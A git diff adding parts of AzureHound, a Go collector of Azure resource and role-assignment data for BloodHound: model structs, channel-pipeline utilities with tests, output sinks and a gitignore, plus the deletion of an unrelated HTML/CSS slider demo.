`json:"virtualMachineId"` +} diff --git a/models/virtual-machine-role-assignment.go b/models/virtual-machine-role-assignment.go new file mode 100644 index 0000000..51fdf6e --- /dev/null +++ b/models/virtual-machine-role-assignment.go @@ -0,0 +1,30 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package models + +import "github.com/bloodhoundad/azurehound/v2/models/azure" + +type VirtualMachineRoleAssignment struct { + RoleAssignment azure.RoleAssignment `json:"roleAssignment"` + VirtualMachineId string `json:"virtualMachineId"` +} + +type VirtualMachineRoleAssignments struct { + RoleAssignments []VirtualMachineRoleAssignment `json:"roleAssignments"` + VirtualMachineId string `json:"virtualMachineId"` +} diff --git a/models/virtual-machine-user-access-admin.go b/models/virtual-machine-user-access-admin.go new file mode 100644 index 0000000..b282599 --- /dev/null +++ b/models/virtual-machine-user-access-admin.go @@ -0,0 +1,30 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package models + +import "github.com/bloodhoundad/azurehound/v2/models/azure" + +type VirtualMachineUserAccessAdmin struct { + UserAccessAdmin azure.RoleAssignment `json:"userAccessAdmin"` + VirtualMachineId string `json:"virtualMachineId"` +} + +type VirtualMachineUserAccessAdmins struct { + UserAccessAdmins []VirtualMachineUserAccessAdmin `json:"userAccessAdmins"` + VirtualMachineId string `json:"virtualMachineId"` +} diff --git a/models/virtual-machine-vmcontributor.go b/models/virtual-machine-vmcontributor.go new file mode 100644 index 0000000..56baca3 --- /dev/null +++ b/models/virtual-machine-vmcontributor.go @@ -0,0 +1,30 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package models + +import "github.com/bloodhoundad/azurehound/v2/models/azure" + +type VirtualMachineVMContributor struct { + VMContributor azure.RoleAssignment `json:"vmContributor"` + VirtualMachineId string `json:"virtualMachineId"` +} + +type VirtualMachineVMContributors struct { + VMContributors []VirtualMachineVMContributor `json:"vmContributors"` + VirtualMachineId string `json:"virtualMachineId"` +} diff --git a/models/virtual-machine.go b/models/virtual-machine.go new file mode 100644 index 0000000..e293561 --- /dev/null +++ b/models/virtual-machine.go @@ -0,0 +1,27 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package models + +import "github.com/bloodhoundad/azurehound/v2/models/azure" + +type VirtualMachine struct { + azure.VirtualMachine + SubscriptionId string `json:"subscriptionId"` + ResourceGroupId string `json:"resourceGroupId"` + TenantId string `json:"tenantId"` +} diff --git a/models/vm-scale-set.go b/models/vm-scale-set.go new file mode 100644 index 0000000..4c392ba --- /dev/null +++ b/models/vm-scale-set.go @@ -0,0 +1,27 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package models + +import "github.com/bloodhoundad/azurehound/v2/models/azure" + +type VMScaleSet struct { + azure.VMScaleSet + SubscriptionId string `json:"subscriptionId"` + ResourceGroupId string `json:"resourceGroupId"` + TenantId string `json:"tenantId"` +} diff --git a/models/web-app.go b/models/web-app.go new file mode 100644 index 0000000..46be3c7 --- /dev/null +++ b/models/web-app.go @@ -0,0 +1,28 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package models + +import "github.com/bloodhoundad/azurehound/v2/models/azure" + +type WebApp struct { + azure.WebApp + SubscriptionId string `json:"subscriptionId"` + ResourceGroupId string `json:"resourceGroupId"` + ResourceGroupName string `json:"resourceGroupName"` + TenantId string `json:"tenantId"` +} diff --git a/panicrecovery/panic_recovery.go b/panicrecovery/panic_recovery.go new file mode 100644 index 0000000..3cbd757 --- /dev/null +++ b/panicrecovery/panic_recovery.go @@ -0,0 +1,33 @@ +package panicrecovery + +import ( + "context" + "fmt" + "runtime/debug" + + "github.com/go-logr/logr" +) + +var PanicChan = make(chan error) + +// handleBubbledPanic receives errors from panicChan, then it will print them and stop() context. +func HandleBubbledPanic(ctx context.Context, stop context.CancelFunc, log logr.Logger) { + go func() { + for { + select { + case err := <-PanicChan: + log.V(0).Error(err, "") + stop() + case <-ctx.Done(): + return + } + } + }() +} + +// panicRecovery recovers from panics and sends them to panicChan +func PanicRecovery() { + if recovery := recover(); recovery != nil { + PanicChan <- fmt.Errorf("[panic recovery] %s - [stack trace] %s", recovery, debug.Stack()) + } +} diff --git a/pipeline/pipeline.go b/pipeline/pipeline.go new file mode 100644 index 0000000..d4b4df5 --- /dev/null +++ b/pipeline/pipeline.go @@ -0,0 +1,276 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package pipeline + +import ( + "encoding/json" + "reflect" + "sync" + "time" + + "github.com/bloodhoundad/azurehound/v2/internal" +) + +type Result[T any] struct { + Error error + Ok T +} + +// Send sends a value to a channel while monitoring the done channel for cancellation +func Send[D, T any](done <-chan D, tgt chan<- T, val T) bool { + select { + case tgt <- val: + return true + case <-done: + return false + } +} + +// SendAny sends a value to an any channel while monitoring the done channel for cancellation +func SendAny[T any](done <-chan T, tgt chan<- any, val any) bool { + select { + case tgt <- val: + return true + case <-done: + return false + } +} + +// OrDone provides an explicit cancellation mechanism to ensure the encapsulated and downstream goroutines are cleaned +// up. This frees the caller from depending on the input channel to close in order to free the goroutine, thus +// preventing possible leaks. +func OrDone[D, T any](done <-chan D, in <-chan T) <-chan T { + out := make(chan T) + + go func() { + defer close(out) + for { + select { + case <-done: + return + case val, ok := <-in: + if !ok { + return + } else { + select { + case out <- val: + case <-done: + } + } + } + } + }() + return out +} + +// Mux joins multiple channels and returns a channel as single stream of data. +func Mux[D any](done <-chan D, channels ...<-chan any) <-chan any { + var wg sync.WaitGroup + out := make(chan interface{}) + + muxer := func(channel <-chan any) { + defer wg.Done() + for item := range OrDone(done, channel) { + if ok := Send(done, out, item); !ok { + return + } + } + } + + wg.Add(len(channels)) + for _, channel := range channels { + go muxer(channel) + } + + go func() { + wg.Wait() + close(out) + }() + + return out +} + +// Demux distributes the stream of data from a single channel across multiple channels to parallelize CPU use and I/O +func Demux[D, T any](done <-chan D, in <-chan T, size int) []<-chan T { + outputs := make([]chan T, size) + + for i := range outputs { + outputs[i] = make(chan T) + } + + closeOutputs := func() { + for i := range outputs { + close(outputs[i]) + } + } + + cases := internal.Map(outputs, func(out chan T) reflect.SelectCase { + return reflect.SelectCase{ + Dir: reflect.SelectSend, + Chan: reflect.ValueOf(out), + } + }) + + go func() { + defer closeOutputs() + for item := range OrDone(done, in) { + // send item to exactly one channel + for i := range cases { + cases[i].Send = reflect.ValueOf(item) + } + reflect.Select(cases) + } + }() + + return internal.Map(outputs, func(out chan T) <-chan T { return out }) +} + +func ToAny[D, T any](done <-chan D, in <-chan T) <-chan any { + return Map(done, in, func(t T) any { + return any(t) + }) +} + +func Map[D, T, U any](done <-chan D, in <-chan T, fn func(T) U) <-chan U { + out := make(chan U) + go func() { + defer close(out) + for item := range OrDone(done, in) { + if ok := Send(done, out, fn(item)); !ok { + return + } + } + }() + return out +} + +func Filter[D, T any](done <-chan D, in <-chan T, fn func(T) bool) <-chan T { + out := make(chan T) + go func() { + defer close(out) + for item := range OrDone(done, in) { + if fn(item) { + if ok := Send(done, out, item); !ok { + return + } + } + } + }() + return out +} + +// Tee copies the stream of data from a single channel to zero or more channels +func Tee[D, T any](done <-chan D, in <-chan T, outputs ...chan T) { + go func() { + // Need to close outputs when goroutine exits to ensure we avoid deadlock + defer func() { + for i := range outputs { + close(outputs[i]) + } + }() + + for item := range OrDone(done, in) { + for _, out := range outputs { + select { + case out <- item: + case <-done: + return + } + } + } + }() +} + +func TeeFixed[D, T any](done <-chan D, in <-chan T, size int) []<-chan T { + out := internal.Map(make([]any, size), func(_ any) chan T { + return make(chan T) + }) + Tee(done, in, out...) + return internal.Map(out, func(c chan T) <-chan T { + return c + }) +} + +func Batch[D, T any](done <-chan D, in <-chan T, maxItems int, maxTimeout time.Duration) <-chan []T { + out := make(chan []T) + + go func() { + defer close(out) + + timeout := time.After(maxTimeout) + var batch []T + for { + select { + case <-done: + return + case item, ok := <-in: + if !ok { + if len(batch) > 0 { + if ok = Send(done, out, batch); !ok { + return + } + batch = nil + } + return + } else { + // Add to batch + batch = append(batch, item) + + // Flush if limit is reached + if len(batch) >= maxItems { + if ok = Send(done, out, batch); !ok { + return + } + batch = nil + timeout = time.After(maxTimeout) + } + } + case <-timeout: + if len(batch) > 0 { + if ok := Send(done, out, batch); !ok { + return + } + batch = nil + } + timeout = time.After(maxTimeout) + } + } + }() + + return out +} + +func FormatJson[D, T any](done <-chan D, in <-chan T) <-chan string { + out := make(chan string) + + go func() { + defer close(out) + + for item := range OrDone(done, in) { + if bytes, err := json.Marshal(item); err != nil { + panic(err) + } else { + if ok := Send(done, out, string(bytes)); !ok { + return + } + } + } + }() + + return out +} diff --git a/pipeline/pipeline_test.go b/pipeline/pipeline_test.go new file mode 100644 index 0000000..07c3617 --- /dev/null +++ b/pipeline/pipeline_test.go @@ -0,0 +1,106 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package pipeline_test + +import ( + "fmt" + "sync" + "testing" + "time" + + "github.com/bloodhoundad/azurehound/v2/pipeline" +) + +func TestBatch(t *testing.T) { + + done := make(chan interface{}) + in := make(chan string) + + go func() { + in <- "foo" + in <- "bar" + + in <- "bazz" + time.Sleep(5 * time.Millisecond) + + in <- "buzz" + + close(in) + }() + + batches := map[int]int{} + i := 0 + for batch := range pipeline.Batch(done, in, 2, 5*time.Millisecond) { + batches[i] = len(batch) + i++ + fmt.Println(batch) + } + + if len(batches) != 3 { + t.Errorf("got %v, want %v", len(batches), 3) + } + + if length, ok := batches[0]; !ok || length != 2 { + t.Errorf("got %v, want %v", length, 2) + } + + if length, ok := batches[1]; !ok || length != 1 { + t.Errorf("got %v, want %v", length, 1) + } + + if length, ok := batches[2]; !ok || length != 1 { + t.Errorf("got %v, want %v", length, 1) + } +} + +func TestDemux(t *testing.T) { + + var ( + done = make(chan interface{}) + in = make(chan string) + wg sync.WaitGroup + count int + ) + + go func() { + defer close(in) + in <- "foo" + in <- "bar" + in <- "bazz" + in <- "buzz" + }() + + outs := pipeline.Demux(done, in, 2) + wg.Add(len(outs)) + for i := range outs { + out := outs[i] + go func() { + defer wg.Done() + for s := range out { + fmt.Println(s) + count++ + } + }() + } + + wg.Wait() + if count != 4 { + t.Fail() + } + +} diff --git a/sec.gitignore b/sec.gitignore new file mode 100644 index 0000000..458aa00 --- /dev/null +++ b/sec.gitignore @@ -0,0 +1,234 @@ +################ +# Project Settings +################################ + +# The binary file for darwin and linux +azurehound + +*.json* + +################ +# Boilerplate Settings (modify as needed) +# (https://github.com/github/gitignore) +################################ + +######## +# Go +################ + +# Binaries for programs and plugins +*.exe +*.exe~ +*.dll +*.so +*.dylib + +# Test binary, built with `go test -c` +*.test + +# Output of the go coverage tool, specifically when used with LiteIDE +*.out + +# Dependency directories (remove the comment below to include it) +# vendor/ + +# Go workspace file +go.work + +######## +# Linux +################ + +*~ + +# temporary files which can be created if a process still has a handle open of a deleted file +.fuse_hidden* + +# KDE directory preferences +.directory + +# Linux trash folder which might appear on any partition or disk +.Trash-* + +# .nfs files are created when an open file is removed but is still being accessed +.nfs* + +######## +# MacOS +################ + +# General +.DS_Store +.AppleDouble +.LSOverride + +# Icon must end with two \r +Icon + +# Thumbnails +._* + +# Files that might appear in the root of a volume +.DocumentRevisions-V100 +.fseventsd +.Spotlight-V100 +.TemporaryItems +.Trashes +.VolumeIcon.icns +.com.apple.timemachine.donotpresent + +# Directories potentially created on remote AFP share +.AppleDB +.AppleDesktop +Network Trash Folder +Temporary Items +.apdisk + +######## +# Windows +################ + +# Windows thumbnail cache files +Thumbs.db +Thumbs.db:encryptable +ehthumbs.db +ehthumbs_vista.db + +# Dump file +*.stackdump + +# Folder config file +[Dd]esktop.ini + +# Recycle Bin used on file shares +$RECYCLE.BIN/ + +# Windows Installer files +*.cab +*.msi +*.msix +*.msm +*.msp + +# Windows shortcuts +*.lnk + +######## +# JetBrains +################ + +# User-specific stuff +.idea/**/workspace.xml +.idea/**/tasks.xml +.idea/**/usage.statistics.xml +.idea/**/dictionaries +.idea/**/shelf + +# AWS User-specific +.idea/**/aws.xml + +# Generated files +.idea/**/contentModel.xml + +# Sensitive or high-churn files +.idea/**/dataSources/ +.idea/**/dataSources.ids +.idea/**/dataSources.local.xml +.idea/**/sqlDataSources.xml +.idea/**/dynamic.xml +.idea/**/uiDesigner.xml +.idea/**/dbnavigator.xml + +# Gradle +.idea/**/gradle.xml +.idea/**/libraries + +# Gradle and Maven with auto-import +# When using Gradle or Maven with auto-import, you should exclude module files, +# since they will be recreated, and may cause churn. Uncomment if using +# auto-import. +# .idea/artifacts +# .idea/compiler.xml +# .idea/jarRepositories.xml +# .idea/modules.xml +# .idea/*.iml +# .idea/modules +# *.iml +# *.ipr + +# CMake +cmake-build-*/ + +# Mongo Explorer plugin +.idea/**/mongoSettings.xml + +# File-based project format +*.iws + +# IntelliJ +out/ + +# mpeltonen/sbt-idea plugin +.idea_modules/ + +# JIRA plugin +atlassian-ide-plugin.xml + +# Cursive Clojure plugin +.idea/replstate.xml + +# SonarLint plugin +.idea/sonarlint/ + +# Crashlytics plugin (for Android Studio and IntelliJ) +com_crashlytics_export_strings.xml +crashlytics.properties +crashlytics-build.properties +fabric.properties + +# Editor-based Rest Client +.idea/httpRequests + +# Android studio 3.1+ serialized cache file +.idea/caches/build_file_checksums.ser + +######## +# Vim +################ + +# Swap +[._]*.s[a-v][a-z] +!*.svg # comment out if you don't need vector files +[._]*.sw[a-p] +[._]s[a-rt-v][a-z] +[._]ss[a-gi-z] +[._]sw[a-p] + +# Session +Session.vim +Sessionx.vim + +# Temporary +.netrwhist +*~ +# Auto-generated tag files +tags +# Persistent undo +[._]*.un~ + +######## +# Visual Studio Code +################ + +.vscode/* +!.vscode/settings.json +!.vscode/tasks.json +!.vscode/launch.json +!.vscode/extensions.json +!.vscode/*.code-snippets + +# Local History for Visual Studio Code +.history/ + +# Built Visual Studio Code Extensions +*.vsix diff --git a/sinks/console.go b/sinks/console.go new file mode 100644 index 0000000..68ec77a --- /dev/null +++ b/sinks/console.go @@ -0,0 +1,31 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package sinks + +import ( + "context" + "fmt" + + "github.com/bloodhoundad/azurehound/v2/pipeline" +) + +func WriteToConsole[T any](ctx context.Context, stream <-chan T) { + for item := range pipeline.OrDone(ctx.Done(), stream) { + fmt.Println(item) + } +} diff --git a/sinks/file.go b/sinks/file.go new file mode 100644 index 0000000..922ac59 --- /dev/null +++ b/sinks/file.go @@ -0,0 +1,64 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package sinks + +import ( + "context" + "encoding/json" + "fmt" + "os" + + "github.com/bloodhoundad/azurehound/v2/models" + "github.com/bloodhoundad/azurehound/v2/pipeline" +) + +func WriteToFile[T any](ctx context.Context, filePath string, stream <-chan T) error { + + if file, err := os.OpenFile(filePath, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0666); err != nil { + return err + } else { + defer file.Close() + + if _, err := file.WriteString("{\n\t\"data\": [\n"); err != nil { + return err + } else { + meta := models.Meta{ + Type: "azure", + Version: 5, + Count: 0, + } + + format := "\t\t%v" + for item := range pipeline.OrDone(ctx.Done(), stream) { + if _, err := file.WriteString(fmt.Sprintf(format, item)); err != nil { + return err + } + meta.Count++ + format = ",\n\t\t%v" + } + + if bytes, err := json.Marshal(meta); err != nil { + return err + } else if _, err := file.WriteString(fmt.Sprintf("\n\t],\n\t\"meta\": %s\n}\n", string(bytes))); err != nil { + return err + } else { + return nil + } + } + } +} diff --git a/test/1.jpg b/test/1.jpg deleted file mode 100644 index 2c4093e..0000000 Binary files a/test/1.jpg and /dev/null differ diff --git a/test/2.jpg b/test/2.jpg deleted file mode 100644 index b570234..0000000 Binary files a/test/2.jpg and /dev/null differ diff --git a/test/3.jpeg b/test/3.jpeg deleted file mode 100644 index 2231e2d..0000000 Binary files a/test/3.jpeg and /dev/null differ diff --git a/test/4.jpg b/test/4.jpg deleted file mode 100644 index 02e52a7..0000000 Binary files a/test/4.jpg and /dev/null differ diff --git a/test/5.jpg b/test/5.jpg deleted file mode 100644 index dc35358..0000000 Binary files a/test/5.jpg and /dev/null differ diff --git a/test/6.jpg b/test/6.jpg deleted file mode 100644 index a95f9f0..0000000 Binary files a/test/6.jpg and /dev/null differ diff --git a/test/SlidesIndex.html b/test/SlidesIndex.html deleted file mode 100644 index 174bed2..0000000 --- a/test/SlidesIndex.html +++ /dev/null @@ -1,64 +0,0 @@ - - - - - - Sliding Card - - -
-
- - - - - - - - - - -
-
- - \ No newline at end of file diff --git a/test/styles.css b/test/styles.css deleted file mode 100644 index 44bd14d..0000000 --- a/test/styles.css +++ /dev/null @@ -1,107 +0,0 @@ -* { - box-sizing: border-box; - margin: 0; - padding: 0; - font-family: "Poppins", sans-serif; -} - -body { - background: #c582ff; -} - -.wrapper { - width: 100%; - height: 100vh; - display: flex; - align-items: center; - justify-content: center; -} - -.container { - height: 400px; - display: flex; - flex-wrap: nowrap; - justify-content: start; -} - -.card { - width: 80px; - border-radius: 0.75rem; - background-size: cover; - cursor: pointer; - overflow: hidden; - border-radius: 2rem; - margin: 0 10px; - display: flex; - align-items: flex-end; - transition: 0.6s cubic-bezier(.28, -0.03, 0, 0.99); - box-shadow: 0 10px 30px -5px rgba(0, 0, 0, 0.8); -} - -.card > .row { - color: white; - display: flex; - flex-wrap: nowrap; -} - -.card > .row > .icons { - background: rgb(74, 74, 74); - color: rgb(255, 255, 255); - display: flex; - border-radius: 50%; - width: 50px; - justify-content: center; - align-items: center; - margin: 15px; -} - -.card > .row .description { - display: flex; - justify-content: center; - flex-direction: column; - overflow: hidden; - height: 80px; - width: 520px; - opacity: 0; - transform: translateY(30px); - transition-delay: 0.3s; - transition: all 0.3s ease; -} - -.description p { - color: #ffffff; - padding-top: 5px; -} - -.description h4 { - text-transform: uppercase; -} - -input { - display: none; -} - -input:checked + label { - width: 600px; -} - -input:checked + label .description { - opacity: 1 !important; - transform: translateY(0) !important; -} - -.card[for="c1"] { - background-image: url('1.JPG'); -} -.card[for="c2"] { - background-image: url('2.JPG'); -} -.card[for="c3"] { - background-image: url('5.JPG'); -} -.card[for="c4"] { - background-image: url('4.JPG'); -} -.card[for="c5"] { - background-image: url('6.JPG'); -} \ No newline at end of file